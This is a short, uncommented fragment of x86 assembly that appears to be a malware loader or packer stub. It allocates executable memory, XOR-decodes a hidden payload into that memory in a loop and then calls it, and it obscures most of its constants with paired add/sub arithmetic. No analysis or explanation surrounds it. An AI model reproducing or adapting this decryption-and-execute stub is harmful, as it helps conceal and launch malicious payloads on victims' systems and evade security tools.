mov eax, 0x67042fb1
add eax, 0xbe7da0cf
add eax, dword [ebp - 0x2c]
call dword [eax]
push 0x40
push 0x1000
push 0x3fc89
push 0
call eax
mov ecx, 0x8c80a3ac
sub ecx, 0x8c804eb6
xor edi, edi
add edi, eax
mov edx, 0xc58fa6e4
sub edx, 0xa00d10e4
add edx, dword [ebp - 0x2c]
mov esi, 0xf95fe9fa
add esi, 0x747ec0b7
xor dword [ebp - 0xc], 0xf79d466f
mov ebx, dword [edx]
sub dword [ebp - 0x28], 0x1abd1204
xor ebx, esi
add dword [ebp - 0x24], edi
mov dword [edi], ebx
add edi, 0x4fcd63d5
sub edi, 0x4fcd63d1
add edx, 0x963d4e60
add edx, 0x69c2b1a4
loop 0x25815c2e
add eax, 0x146ab
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x25800000
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret